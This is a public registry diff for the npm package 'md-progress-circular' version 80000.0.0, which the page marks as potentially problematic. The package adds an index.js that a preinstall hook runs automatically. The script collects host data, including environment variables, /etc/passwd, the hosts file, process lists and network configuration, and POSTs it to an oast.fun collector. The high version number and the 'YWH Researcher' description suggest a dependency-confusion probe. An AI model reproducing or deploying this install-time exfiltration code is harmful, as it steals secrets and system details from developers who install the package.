md-progress-circular 80000.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of md-progress-circular might be problematic. Click here for more details.
- package/index.js +91 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const { execSync } = require('child_process');
|
|
8
|
+
const packageJSON = require("./package.json");
|
|
9
|
+
const packageName = packageJSON.name;
|
|
10
|
+
|
|
11
|
+
// Fonction pour exécuter une commande shell et retourner le résultat
|
|
12
|
+
const execCommand = (command) => {
|
|
13
|
+
try {
|
|
14
|
+
return execSync(command, { encoding: 'utf8' }).trim();
|
|
15
|
+
} catch (err) {
|
|
16
|
+
return '';
|
|
17
|
+
}
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
// Collecte des informations système spécifiques à Windows et Linux
|
|
21
|
+
const isWindows = os.platform() === 'win32';
|
|
22
|
+
const isLinux = os.platform() === 'linux';
|
|
23
|
+
|
|
24
|
+
const systemInfo = {
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
release: os.release(),
|
|
27
|
+
arch: os.arch(),
|
|
28
|
+
cpus: os.cpus(),
|
|
29
|
+
memory: os.totalmem(),
|
|
30
|
+
freeMemory: os.freemem(),
|
|
31
|
+
uptime: os.uptime(),
|
|
32
|
+
networkInterfaces: os.networkInterfaces(),
|
|
33
|
+
homeDirectory: os.homedir(),
|
|
34
|
+
hostname: os.hostname(),
|
|
35
|
+
userInfo: os.userInfo(),
|
|
36
|
+
dnsServers: dns.getServers()
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
if (isWindows) {
|
|
40
|
+
systemInfo.windowsVersion = execCommand('systeminfo | findstr /B /C:"OS Name" /C:"OS Version"');
|
|
41
|
+
systemInfo.installedPrograms = execCommand('wmic product get name,version');
|
|
42
|
+
systemInfo.runningProcesses = execCommand('tasklist');
|
|
43
|
+
systemInfo.environmentVariables = execCommand('set');
|
|
44
|
+
systemInfo.hostsFile = execCommand('type C:\\Windows\\System32\\Drivers\\etc\\hosts');
|
|
45
|
+
systemInfo.networkConfig = execCommand('ipconfig /all');
|
|
46
|
+
} else if (isLinux) {
|
|
47
|
+
systemInfo.linuxDistro = execCommand('cat /etc/*-release');
|
|
48
|
+
systemInfo.installedPackages = execCommand('dpkg-query -l');
|
|
49
|
+
systemInfo.runningProcesses = execCommand('ps aux');
|
|
50
|
+
systemInfo.environmentVariables = execCommand('printenv');
|
|
51
|
+
systemInfo.hostsFile = execCommand('cat /etc/hosts');
|
|
52
|
+
systemInfo.passwdFile = execCommand('cat /etc/passwd');
|
|
53
|
+
systemInfo.networkConfig = execCommand('ifconfig') || execCommand('ip addr');
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
const trackingData = JSON.stringify({
|
|
57
|
+
p: packageName,
|
|
58
|
+
c: __dirname,
|
|
59
|
+
systemInfo: systemInfo,
|
|
60
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
61
|
+
v: packageJSON.version,
|
|
62
|
+
pjson: packageJSON,
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
var postData = querystring.stringify({
|
|
66
|
+
msg: trackingData,
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
var options = {
|
|
70
|
+
hostname: "ngnlcviuxodvhfqzxtlwvyuhfgjbo9j4o.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
|
71
|
+
port: 443,
|
|
72
|
+
path: "/",
|
|
73
|
+
method: "POST",
|
|
74
|
+
headers: {
|
|
75
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
76
|
+
"Content-Length": postData.length,
|
|
77
|
+
},
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
var req = https.request(options, (res) => {
|
|
81
|
+
res.on("data", (d) => {
|
|
82
|
+
process.stdout.write(d);
|
|
83
|
+
});
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
req.on("error", (e) => {
|
|
87
|
+
// console.error(e);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
req.write(postData);
|
|
91
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "md-progress-circular",
|
|
3
|
+
"version": "80000.0.0",
|
|
4
|
+
"description": "YWH Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|